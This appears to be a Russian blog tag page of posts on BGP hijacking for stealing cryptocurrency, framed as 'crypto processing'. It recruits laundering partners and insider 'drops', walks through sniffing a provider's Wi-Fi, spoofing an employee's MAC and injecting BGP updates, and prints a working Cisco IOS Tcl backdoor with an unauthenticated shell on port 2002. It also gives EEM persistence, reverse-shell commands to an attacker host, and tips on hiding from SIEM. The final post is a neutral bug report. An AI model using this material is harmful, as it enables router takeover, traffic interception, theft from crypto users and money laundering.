Метка: BGP MiTM

  • Как найти реального процессора крипты

    Как найти реального процессора крипты

    Своего первого реального партёра по процессингу крипты, который показал мне как можно использовать сценарий bgp spoofing и реализовывать bgp hijacking для mitm на майнинг и мутить процессинг в крипте при помощи подмены маршрута в зоне bgp, я нашел случайно, когда еще трудился в Укртелекоме сменным инженером, немного подрабатывая настраивая сетевое оборудование налево, но потом этот человек отошел от дел в связи со слишком уж скользкой ситуацией в данной сфере, и я решил поискать партнера на форумах типа Darkmoney, разместив рекламу на трёх электронных досках объявлений. Честно говоря поначалу даже был готов сразу закинуть 10.000 долларов в Гарант, но потом призадумался, а стоит ли?

    Как найти реального процессора крипты


    И ко мне начал обращаться народ обращается разных категорий…

    1. Дебильная школота, которая что-то любит повтирать про свою серьезность и просит закинуть 10.000 USDT им на Coinbase или Huobi в качестве аванса.

    2. Реальные мэны, которые льют сразу большую сумму в крипте и просят организовать им вывод в фиат по SWIFT без разговоров про гарантии и прочую шнягу, но после того, как им отдаёшь нал или отбиваешь MT103, они сразу пропадают, суть данных действий я так и не понял, зачем пропадать, если всё прошло итак гладко? 
    3. Мутные личности, берущие реквизиты криптокошелька и очень долго что-то пытающиеся залить в USDT, в итоге пропадают, хорошо если еще криптокошелёк после всех этих проделок с процессингом в крипте остаётся жив и не вносится в стоп листы криптовалютных бирж и обменников.

    4. Серьезные судя по общению цисководы, очень долго насилуют мозг спрашивая про отзывы и сумму которую я смогу закинуть в Гарант, после того, как им предлагаю первыми закинуть Гаранту его комиссию, так как в случае их исчезновения я попадаю на комиссию, сразу сваливаются, стуча копытами или кричат что я кидала, так как отказываюсь от работы с их Гарантом.

    5. Самые адекватные те, кто льет небольшую проверочную сумму и потом уже начинают лить в крипте серьезные деньги с жирных криптовалютных кошельков BitCoin или Etherium, но таких, к сожалению, попадается очень мало.
    Итог моей работы в паблике: вложения примерно — 150.000 долларов США, которые с трудом окупились из за убитых фирм и банковских счетов, пластиковых карт, и учёток на криптобиржах и обменниках, которые продавцы лочат через 2 месяца после продажи, и прочих прелестей. Если люди обращаются по рекламе — тут уже не отличишь нормальных от ненормальных, для тех, кто обратился в первый раз, есть гостевой криптокошелёк, без привязки к биржам и другим сервисам, реквизиты которого даю всем подряд, на который можно лить крипту из любой помойки, а проверенным людям — уже потом предоставляю новые реки чистого криптокошелька, гостевой корпоративный счёт желательно постоянно проверять на работоспособность перед зачислением о отправкой на него денег с обменника или криптобиржи.
    Найти сейчас грамотного человека, кто будет реально лить хорошие суммы в крипте стабильно вполне возможно, но для этого его нужно чем-либо заинтересовать, чтобы он согласился работать именно с тобой и ни с кем другим. Вы наверное сами всё хорошо знаете, что предложение обнала грязной крипты с выводом в фиат в сотни раз превышает число реальных людей, умеющих лить крипту через интернет с использованием техник mitm майнинга по сценарию bgp spoofing с реализацией bgp hijacking, которые ищут себе грамотных обнальных партнёров по обмену грязной крипты на фиат. 

    Однако, серьезных людей, которые кое-что понимает про bgp в криптоканалах, всегда можно заинтересовать своими хорошими связями в телекоммуникационной среде среде, умением решать любые скользкие вопросы в том или ином небольшом или скажем совсем скромном банке (а как вам уже наверное стало понятно, что ни один серьёзный процессор крипты не будет связываться с публичным банком), либо может пригодиться ваш предыдущий опыт работы в крупной телекоммуникационной компании, как это было в моём случае. 

    Можно также попытаться сработать с грамотным человеком, предоставив ему данные телеметрии OSS FM/PM системы какого-нибудь крупного телекоммуникационного холдинга, включая распечатку IP/MPLS сообществ — это значительно упростит или даже ускорит реализацию той или иной схемы процессинга крипты через mitm с майнинга и реализации bgp hijacking по сценарию bgp spoofing. С этой задачей вполне может справиться любой социализированный дроп, работающией сетевым инженером в такой крупной компании, маргинальные дропы для такой работы не годятся.
     

    Хочу добавить, что все серьёзные люди, занимающиеся процессингом крипты после всем известных нам событий уехали за границу года три тому назад, и работают от туда, а работать с теми, кто остался по выводу крипты в рублевом пространстве — сплошной нудняк. Новичку без связей в банковской или телекоммуникационной среде влиться в эту тему просто нереально, если только не надеяться на чудо.

  • BGP спуфинг и опустошение криптомоста

    BGP спуфинг и опустошение криптомоста

    Как bgp атаки с подменой маршрута ставят под угрозу криптовалютные системы

    BGP спуфинг и уязвимости криптомостов — это серьёзные проблемы, с которыми сталкивается современная интернет-инфраструктура и криптоиндустрия. Как мне рассказал один хороший знакомый, ему недавно удалось таки успешно осуществить вброс маршрута обхода криптоканала при помощи bgp sppofing и bgp hijacking, используя недостатки WiFi-инфраструктуры, которые, наверняка, присутствуют с сетях провайдеров и твоего города тоже.

    Что такое BGP и причём тут криптовалютный обменник?

    Протокол граничного шлюза (BGP) — это ключевая технология, обеспечивающая маршрутизацию данных между различными сетями в интернете. Он определяет, какие маршруты между сетями предпочтительнее, и помогает направлять трафик через сложную систему соединений. Однако BGP не имеет механизмов аутентификации, что делает его уязвимым для различного рода нарушителей.

    BGP спуфинг

    BGP спуфинг — это тип нарушений сетевой связанности, при которой нарушитель вбрасывает в сеть информацию, предназначаемую BGP роутеру, чтобы перехватить или изменить маршруты интернет-трафика. Нарушители могут «объявлять» о существовании маршрутов, которые на самом деле не принадлежат их сети. Это позволяет осуществлять mitm на майнинг, процессинг крипты, перехватывать данные транзакций и закрытых ключей, перенаправлять трафик на свои крипто каналы или мосты или вообще блокировать доступ к определённым ресурсам.
    Такой подход может привести к потере данных о проведённых транзакциях, компрометации конфиденциальной информации, а также использованию сети для несанкционированной деятельности. Например, нарушитель может перенаправлять трафик от пользователей, желающих получить доступ к финансовым платформам, что позволяет проводить процессинг крипты, перехватывая транзакции.

    Казалось бы, сбылась твоя мечта, и теперь ты, сидя во Вкусно и Точка, вкушая третий филе о фиш можешь легко и непринужденно копаться через беспроводное соединение в опроной сети местного или магистрального телекома, расположенного через дорогу? Что ж, такое вполне возможно, потому как безопасность такого провайдера, а значит и подключенных к нему криптоканалов и крипто мостов оставляет желать лучшего. 

    Слушаем сеть и качаем крипту

    Итак, не теряя времени, можно запустить WireShark и начать мониторить периметр. Среди пакетов сразу можно увидеть SSL-рукопожатие на сайте провайдера…
    К слову, как происходит авторизация соединения: сначала клиент коннектится к незащищенной WEP/WPA-точке, затем обращается браузером на любой сайт в Сети и редиректится на страницу авторизации. Там он вводит логин и пароль учётной записи, пополняемой путем отправки SMS-сообщения на специальный номер, и после этого, по всей видимости, на роутере создается правило, позволяющее выходить в интернет.
    Так вот, после зашифрованной SSL-авторизации можно увидеть совершенно незакриптованные пароли от ВКонтакте и почты, крипто кошельков, внутреннего портала провайдера, слегка заXOR’енные пароли социальных сетей (которые легко вскрываются тем же Ufasoft Sniffer или InterCepter’ом), данные о транзакциях криптовалюты, BGP UPDATE пакеты, HELLO пакеты сервиса OSPF,  и неприличные ссылки, ведущие на порносайты (совсем уже никого не стесняются современные инженеры электросвязи… :). Зная IP и MAC-адреса, фигурирующие в периметре (а они узнаются анализом ARP-сообщений), можно легко их проспуфить.
    Итак, с помощью хорошей программы по смене МАС-адресов «MACChange» (или вручную, это уже кто как любит) изменим адрес своего беспроводного адаптера на известный нам МАС сотрудника телекома.


    MACChange в работе

    Не забудем присвоить себе его же IP адрес тоже. Затем попробуем подключиться к сети. О чудо, оказывается, сеть провайдера допускает как DHCP, так и Static адресацию. И, таким образом, можно наслаждаться и начинать деать вброс BGP UPDATE пакетов обновления маршрутной информации в магистральную сеть провайдера, потому как всё адреса роутеров и пароли bgp-сессии для этого уже были получены, кода мы использовали WireShark.

    От себя хочу добавить, что вместо WireShark для получения паролей открывающих доступ в сеть телекоммуникационного провайдера многие грамотные люди предпочитают пользоваться пакетом Aircrack-NG, он очень удобный и содержит серию различных утилит для работы с беспроводными сетями.

    Криптомосты и их уязвимости

    Криптомосты (cross-chain bridges) — это специальные приложения, позволяющие обменивать активы между различными блокчейнами. Например, если пользователь хочет обменять Bitcoin на Ethereum, криптомосты обеспечивают возможность такой транзакции, сохраняя функциональность блокчейнов. Однако из-за своей сложной структуры они становятся целью для нарушителя.
    Криптомосты взаимодействуют с несколькими блокчейнами, и если один из них уязвим, это может поставить под угрозу всю систему. Основные инциденты с криптомостами связаны с перехватом транзакций, взломом смарт-контрактов и использованием уязвимостей в криптографических алгоритмах. Недавние случаи показывают, что были украдены миллионы долларов в крипте, используя уязвимости криптомостов, что делает этот вопрос особенно актуальным для пользователей и разработчиков.

    Как BGP спуфинг угрожает криптомостам?

    BGP спуфинг может оказаться серьёзной угрозой для криптомостов. Один из сценариев заключается в том, что нарушитель может перенаправить трафик между криптомостами, перехватывая ключевые данные, такие как криптографические ключи или транзакционные записи. Это позволяет несанкционированно изменять или отменять транзакции.
    Более того, BGP hijacking может затронуть серверы, которые обеспечивают поддержку криптомостов. Например, если нарушитель получает доступ к серверам, обрабатывающим транзакции, он может подменить данные, создавая ложные транзакции или даже полностью опустошить криптомост, что приведёт к серьёзным финансовым потерям.
    Примерно именно так и льют крипту через mitm с майнинга или обменников при помощи bgp spoofing и bgp hijacking в настоящее время.
  • Перехват BGP-сессии опустошил кошельки легальных пользователей MyEtherWallet.com

    Перехват BGP-сессии опустошил кошельки легальных пользователей MyEtherWallet.com

        Один пока никому не известный специалист по процессингу btc и eth, используя протокол BGP и сценарии bgp spoofing вместе с реализацией bgp hijacking, успешно перенаправил трафик DNS-сервиса Amazon Route 53 на свой сервер в России и на несколько часов подменял настоящий сайт MyEtherWallet.com с реализацией web-кошелька криптовалюты Ethereum.

    префикс 205.251.192.0/24 объявлялся из сети eNet в сети Hurricane Electric и TDS Telecom

    На подготовленном нарушителем клоне сайта MyEtherWallet была организована фишинг-атака, которая позволила за два часа угнать 215 ETH (около 137 тысяч долларов) на кошельки дропов.

    Подстановка фиктивного маршрута была осуществлена от имени крупного американского интернет-провайдера eNet AS10297 в Колумбусе штат Огайо. После перехвата BGP-сессии и BGP-анонса все пиры eNet, среди которых такие крупнейшие операторы, как Level3, Hurricane Electric, Cogent и NTT, стали заворачивать трафик к Amazon Route 53 по заданному атакующими маршруту. Из-за фиктивного анонса BGP запросы к 5 подсетям /24 Amazon (около 1300 IP-адресов) в течение двух часов перенаправлялись на подконтрольный нарушителю сервер, размещённый в датацентре провайдера Equinix в Чикаго, на котором была организована MiTM-атака по подмене ответов DNS.

    Через подмену параметров DNS пользователи MyEtherWallet.com перенаправлялись на поддельный сайт, на котором использовался самоподписанный HTTPS-сертификат, для которого браузеры выдают предупреждение о проблемах с защищённым соединением, что не помешало в ходе грубого фишинга слить около 137 тысяч долларов на кошельки дропов (в случае аутентификации на фишинговом сайте у пользователя списывались все средства с кошелька). Примечательно, что нарушитель или как его ещё можно назвать дроповодом,  оказался очень состоятельным человеком — на одном ETH-кошельке, на который в ходе атаки перенаправлялись переводы, в настоящее время находится 24276 ETH, что составляет более 15 млн долларов США.

    Достоверно известно, что в ходе атаки была осуществлена подмена DNS для сайта MyEtherWallet.com, тем не менее могли пострадать и другие клиенты сервиса Amazon Route 53. По мнению некоторых исследователей безопасности, получение доступа к BGP-маршрутизатору крупного ISP и наличие ресурсов для обработки огромного DNS-трафика может свидетельствовать, что атака не ограничилась только MyEtherWallet (в пользу данной гипотезы также говорит непрекращающийся поток переводов на используемый в атаке ETH-кошелёк).

    получение доступа к BGP-маршрутизатору крупного ISP и наличие ресурсов для обработки огромного DNS-трафика

    По другим предположениям, имел место лишь тестовый эксперимент перед проведением более массированных атак.

  • Перехват и подмена bgp-сессии при помощи Cisco TCL

    Перехват и подмена bgp-сессии при помощи Cisco TCL

    Обычно мониторинг ситуаций, связанных с перехватом трафика через bgp затруднен и в siem очень трудно отследить что-то связанное с изменением маршрутов трафика при помощи внедрения bgp нарушителем. Поговорим немного о том, как можно использовать маршрутизатор Cisco Systems с привилегированным доступом level 15, что позволяет для реализации сценариев bgp spoofing с использованием встроенного в него функционала скриптового движка TCL.
    Вариантов изменения маршрутов (создание bgp обхода) в сети Интернет может быть несколько, однако самый простой из них — получению доступа к роутеру, а уже эту задачу можно решать различными способами и методами, мне на ум пришло несколько таких: 
    • Брутфорс пароля от интерфейса управления BGP;
    • Получение доступа посредством угона почты/аккаунта/компьютера одного из сотрудников или администраторов какого-нибудь провайдера (который рулит этим bgp роутером);
    • Поиск или эксплуатация уже существующих багов в BGP-сервере для обхода, запущенном на Linux-машине (по моему опыту, это чаще всего это Bird, Quagga (FRR) или же это будет стандартный девайс Cisco, Juniper или Huawei);
    • Получение доступа к управлению софтовым маршрутизатором BGP через сторонние сервисы, запущенные на этом же Linux-сервере;
    • «Вклинивание» в уже установленную BGP сессию между определенными узлами, но об этом мы поговорим чуточку позже, или напишите мне в личку. 
    Сейчас я опишу несколько вариантов реализации mitm bgp метода, и поверь, их использование действительно приводит к повышению прав на, якобы, защищенном маршрутизаторе под управлением Cisco IOS. Тебе это сильно пригодится для более глубокого осмысления роли bgp в криптоканалах как раз для создания своего bgp сервера для обхода и приземления нужного тебе трафика на свой мост. 

    Перехват bgp-сессии в Ростелекоме
    Tcl – это Tool Command Language, язык сценариев, часто применяемых с графической библиотекой Tk, был придуман в начале 80-х годов и из-за своей простоты продолжает повсеместно использоваться как встроенный в различные приложения; вспомним хотя бы программы expect или irc-ботов eggdrop, а также использование его как модуля к серверной части apache mod_tcl. В операционную систему Cisco IOS, используемую маршрутизаторами Cisco Systems, интерпретатор Tcl был внедрён начиная с версии IOS 12.3(2)T, что позволило реализовать в маршрутизаторах Cisco Systems функции выполнения «пользовательских» скриптов. Как наиболее часто встречаемый пример, использование IOS IVR для создания интерактивных голосовых меню в системах IP-телефонии.
    Используя функционал Tcl, мы имеем возможность работать с сокетами, в данном случае открывается некоторая перспектива использования маршрутизатора под управлением Cisco IOS для следующих действий:
    • Разработки собственного варианта «бэкдора» с целью закрепления системы и доступа к ней в обход штатных механизмов защиты;
    • Перехват bgp-сессии с подменой маршрутов или внедрением своего маршрута; 
    • Проведения сканирования портов в различных сегментах сети;
    • Проброса действующих портов на порт интерфейса, организации обратного (реверсного) доступа к удаленным устройствам;
    • Процессинг крипты через подмену маршрута bgp до криптомоста с китами и подмена смартконтрактов на этом мосте;
    • Создание bgp обхода для инфильтрации трафика на своём оборудовании;
    • Разработки вариантов скриптов для возможности перебора паролей (брутфорса) различных устройств и серверов в сети.

    Данными методами также можно воспользоваться для процессинга крипты, получив доступ к TFTP-серверу телеком провайдера, где размещены существующие активные TCL-сценарии и принудительно заменить существующий сценарий на собственный, предназначенный для реализации bgp spoofing сценария или создания bgp сервера для обхода криптомоста с последующим приземлением трафика китов на свой мост. В этом случае произойдет загрузка именно твоего сценария TCL и запуск его на граничном bgp-маршрутизаторе.

    Практикуемся

    Давай попробуем понять, как это можно реализовать с помощью удаленного шелла, который можно использовать без явной аутентификации с входом на назначенный порт по протоколу Telnet. Подобный сценарий недавно использовался в качестве задания на соревнованиях «Рускрипто CTF«.
    В первую очередь давай разберем, как работает Tcl на устройствах под управлением Cisco IOS.

    Загрузка и исполнение TCL-скрипта:

    Для первичной загрузки TCL-скриптов необходимо иметь привилегированный доступ не ниже уровня 15 enable. Скрипт Tcl необходимо загружать удаленно на маршрутизатор Cisco, для этого можно использовать такие протоколы, как TFTP, FTP, RCP, SCP. Загрузку и выполнение скрипта можно выполнять как напрямую в RAM-маршрутизатора, так и в FLASH-память c последующим его запуском с файловой системы Cisco IOS.
    Вот так выглядит загрузка скрипта во FLASH память и последующее его выполнение:
    Router# copy tftp://192.168.1.4/script.tcl flash://script.tcl
    Router# tclsh flash://script.tcl
    Загрузка скрипта непосредственно с TFTP-сервера:
    Router# tclsh tftp://192.168.1.4/script.tcl
    Ниже приведен пример TCL-скрипта, который при запуске захватывает сокет на порт TCP/2002 и связывает его с интерфейсом командной строки (EXEC). Загрузка скрипта выполняется методами, описанными выше (в приведенном примере с сервера TFTP).
    proc callback {sock addr port} { 
    fconfigure $sock -translation crlf -buffering line
    puts $sock "Cisco router admin console:" 
    puts $sock " " 
    puts -nonewline $sock "Router# "
    flush $sock
    fileevent $sock readable [list echo $sock] 


    proc echo {sock} {
    global var

    flush $sock

    if {[catch {gets $sock line}] || 
    [eof $sock]} {
    return [close $sock]
    }

    catch {exec $line} result
    if {[catch {puts $sock $result}]} {
    return [close $sock]
    }

    puts -nonewline $sock "Router# "
    flush $sock
    }

    set port 2002
    set sh [socket -server callback $port] 
    vwait var 
    close $sh
    После загрузки и последующего запуска вышеприведенного сценария появится возможность зайти в систему режим EXEC без использования учетных записей и выполнять любые команды с использованием привилегий супер-пользователя level 15.
    [ptsec@maxpatrol ~]$ telnet router 2002
    Trying 192.168.1.10...
    Connected to router.
    Escape character is '^]'.

    Cisco router admin console:

    Router#
    Далее я бы хотел рассказать о некоторых ограничениях, которые необходимо помнить при работе с Tcl на устройствах под управлением Cisco IOS. В ранних версиях Cisco IOS, включающих поддержку Tcl, скрипт продолжал свою работу даже при прерывании EXEC-сессии. В новых версиях последовало исправление, которое завершает работу скрипта при обрыве линии или по команде clear line. Этот «патч-фикс» производителя можно обойти несколькими способами:
    1. На линиях, (console 0 или vty 0 4), с которых запускается скрипт, применить команду exec-timeout 0 0, в противном случае по завершении сессии пользователя скрипт завершит свою работу.
    Router>en
    Router#conf t
    Enter configuration commands, one per line. End with CNTL/Z.
    Router(config)#line vty 0 4
    Router(config-line)#exec-timeout 0 0
    2. Производить запуск сценария с использованием апплетов EEM (Embedded Event Manager) по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру. На примере ниже показана конфигурация Cisco IOS, которая загружает скрипт с TFTP сервера после запуска маршрутизатора по истечении 20 секунд.
    Router(config)# event manager applet BACKDOOR
    Router(config-applet)# event timer countdown name Delay time 20
    Router(config-applet)# action 1.0 cli command "enable"
    Router(config-applet)# action 1.1 cli command "tclsh tftp://192.168.1.4/script.tcl"
    Router(config-applet)# action 1.2 syslog msg "Backdoor is executed"
    3. Конвертировать TCL-сцкнарий в формат политик EEM (Embedded Event Manager) и запускать их по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру.

    Готовые утилиты и сценарии bgp spoofing

    В ряде ситуаций можно использовать готовые сценарии, такие как IOScat и IOSmap, входящие в IOScat, позволяющие осуществлять проброс портов, прием и передачу файлов путем манипуляций с сокетами. Используя встроенный в Cisco IOS язык TCL, можно использовать маршрутизатор аналогично ПК с установленным приложением Netcat, предварительно загрузив скрипт TCL во flash-память маршрутизатора или через TFTP-сервер напрямую в RAM. Методика загрузки и установки TCL-скрипта на маршрутизатор описана выше.

    Примеры реализации:

    Организация бэкдора на маршрутизаторе (2002 порт):
    Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 –oe
    Организация реверсного шелла на нужный IP адрес сервера обхода bgp (порт 12345):
    Router# tclsh tftp://192.168.1.4/ioscat.tcl -ie -oa192.168.1.4 -op12345
    (на твоей машине приемником шелла выступает обычный netcat: nc -l -p 12345)
    Проброс удаленного порта на локальный порт маршрутизатора (2002):
    Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 -oa192.168.2.1 -op80
    У данного сценария есть много других примеров, например копирование файлов с использованием сокетов, имитация телнет-сессии на удаленном хосте и много других функций, которые можно посмотреть на сайте разработчика.
    Сценарий с названием IOSmap – не что иное, как попытка создать аналог сканера nmap, конечно, в урезанном функционале, но в данном случае достаточно эксклюзивным для работы в среде Cisco IOS. Функционал этого TCL-скрипта позволяет производить сканирование диапазонов IP-адресов на открытые TCP/UDP-порты, в том числе используя метод инвентаризации хостов посредством протокола ICMP.
    Рассмотрим примеры использования:
    Router>en
    Router#tclsh tftp://192.168.1.4/iosmap.tcl 192.168.1.1-5 -p20-24,80,443
    Loading iosmap.tcl from 192.168.1.4 (via FastEthernet0/0): !
    [OK - 15912 bytes]

    Loading services.list from 192.168.1.4 (via FastEthernet0/0): !
    [OK - 42121 bytes]

    Starting IOSmap 0.9 ( http://www.defaultroute.ca ) at 2002-03-01 02:59 UTC

    Free Memory on Platform = 29038388 / Memory required for this scan = 2622514

    Host 192.168.1.1 is unavailable

    Host 192.168.1.2 is unavailable

    Host 192.168.1.3 is unavailable

    Interesting ports on host 192.168.1.4
    PORT STATE SERVICE
    20/tcp closed ftp-data
    21/tcp closed ftp
    22/tcp closed ssh
    23/tcp closed telnet
    24/tcp closed priv-mail
    80/tcp open http
    443/tcp closed https

    Host 192.168.1.5 is unavailable

    Router#
    Изменение вариантов сканирования скрипта возможно путем добавления аргументов:
    -sP – только по ответу хоста;
    -sT – TCP-портов методом TCP connect;
    -sU – UDP-портов через функционал IP SLA.
    Учитывая богатые возможности языка ТСL, можно разработать множество подобных, интересных приложений для реализации их в сетевой среде на оборудовании под управлением Cisco IOS для применения в локальной вычислительной сети провайдера для реализации bgp spoofing сценариев.

    Как скрыться от SIEM

    Имея возможность запускать сценарии TCL, также интересно иметь возможность отследить их исполнение в среде Cisco IOS. Сделать это можно, подсмотрев процессы и состояние портов на маршрутизаторе, используя следующие команды маршрутизатора:
    Router#show processes cpu | i Tcl
    212 2284 17762 128 3.68% 2.88% 0.67% 162 Tcl Serv - tty16

    Router#show tcp brief all
    TCB Local Address Foreign Address (state)
    659CDABC 192.168.1.10.23 192.168.1.4.5163 ESTAB
    654485B4 *.2002 *.* LISTEN
    65CA2D04 *.80 *.* LISTEN
    Начиная с версии IOS 12.4(4)Т появилась возможность использования CPP (Control Plane Policy):
    Router#show control-plane host open-ports
    Active internet connections (servers and established)
    Prot Local Address Foreign Address Service State
    tcp *:23 *:0 Telnet LISTEN
    tcp *:23 192.168.1.4:1379 Telnet ESTABLIS
    tcp *:80 *:0 HTTP CORE LISTEN
    tcp *:1234 *:0 Tcl Serv - tty163 LISTEN


    Устройства под управлением Cisco IOS в 1999 и 2024

    Инженер электросвязи шатает BGP

    Таким образом, все поняли, что любую, даже самую защищенную провайдерскую Cisco можно захватить умело написанным и запущенным TCL-сценарием. В итоге ты получаешь шелл для манипулирования трафиком в глобальной сети Интернет для реализации нужных тебе сценариев bgp spoofing для проведения mitm с криптой со всеми вытекающими отсюда последствиями.
  • Ошибка обработки пакета BGP приводит к выключению пограничного роутера

    Ошибка обработки пакета BGP приводит к выключению пограничного роутера

    BGP (the Border Gateway Protocol)— это магистральный протокол и «клей» Интернета, который рассылает информацию о маршрутах между сетями провайдеров. Короче говоря, этот протокол, BGP, является очень важным элементом, необходимым для правильной работы глобальной сети в целом.

    Программное обеспечение маршрутизаторов, реализующее BGP, не идеально, поскольку как коммерческие, так и версии с открытым исходным кодом имеют проблемы в реализации этого протокола маршрутизации.

    В то время как многие недостатки незначительны и связаны с проблемами маршрутизации, рассматриваемая ошибка обработки пакета BGP вызывает особое беспокойство, так как может распространяться как компьютерный червь.

    Владелец BGP[.] Бен Картрайт-Кокс обнаружил этот недостаток; Это компания, которая предлагает услуги мониторинга BGP для обнаружения и решения проблем.

    Ошибочный атрибут

    2 июня 2023 года небольшая бразильская сеть повторно анонсировала маршрут с поврежденным атрибутом в пакете, что потенциально повлияло на транзитные маршрутизаторы.

    Многие маршрутизаторы игнорировали этот атрибут, но маршрутизаторы Juniper принимая его, и ответ на ошибку в пакете закрывали сессии BGP, тем самым нарушая связанность своих сетей с глобальной сетью Интернет.

    Кроме того, такая ошибка в пакете BGP прерывает сессию, прекращая переток клиентского трафика до тех пор, пока не будет выполнен автоматический перезапуск маршрутизатора, который обычно занимает от нескольких секунд до нескольких минут.

    Завершение сессии BGP вследствие получения пакета с ошибочным атрибутом
    Завершение сессии BGP вследствие получения пакета с ошибочным атрибутом

    Это затронуло многих операторов, таких как COLT, сбой в работе которых и привлек внимание к этой проблеме.

    Ошибка, связанная с обработкой ошибок BGP

    Каждый атрибут пакета обновления BGP начинается с флагов, включая ключевой ‘транзитивный бит’:

    Транзитивный бит в пакете обновления BGP
    Транзитивный бит в пакете обновления BGP

    Если транзитивный бит атрибута установлен, а маршрутизатор его не понимает, он копируется на другой маршрутизатор, что может привести к слепому распространению неизвестной маршрутной информации.

    Завершение работы сессии BGP нарушает переток трафика между автономными системами и может распространяться как червь. В то время как атрибуты, неизвестные одной реализации, могут привести к завершению работы другой, созданный BGP UPDATE может быть нацелен на поставщика определенного оборудования и вывести сеть провайдера из строя целиком.

    Распространение ошибки в пакете BGP по сети
    Распространение ошибки в пакете BGP по сети

    Эффект от атаки сохраняется довольно долгое время, так как анонсированный маршрут всё остается в одноранговом маршрутизаторе, даже после его перезапуска, при передаче нового пакета обновлений BGP он инициирует еще один сброс сессии, что приводит к длительным простоям.

    Более того, чтобы проверить, какие реализации протокола BGP подвержены этой уязвимости можно использовать простую утилиту для тестирования.

    Незатронутые поставщики оборудования

    Далее приводим список поставщиков, которые не были затронуты этой уязвимостью:

    • MikroTik RouterOS 7+
    • Ubiquiti EdgeOS
    • Arista EOS
    • Huawei NE40
    • Cisco IOS-XE / “Classic” / XR
    • Bird 1.6, All versions of Bird 2.0
    • GoBGP

    Подверженные версии оборудования или ПО

    • Juniper Networks Junos OS
    • Nokia’s SR-OS
    • Extreme Networks’ EXOS
    • OpenBSD’s OpenBGPd
    • OpenBSD’s FRRouting

    Вопросы и ответы

    Ранее было сообщено об этих уязвимостях всем подверженным ей поставщикам оборудования и программного обеспечения. После получения уведомления были получены следующие ответы от затронутых поставщиков:

    • OpenBSD выпустила патч
    • Компании Juniper присвоили CVE
    • FRR также присвоил CVE
    • В Nokia проблему не решили
    • Extreme также не решил эту проблему

    Кроме того, несмотря на отсутствие ответов некоторых поставщиков оборудования, провайдеры услуг интернета сами могут принять меры по предотвращению потенциальной эксплуатации этой уязвимости.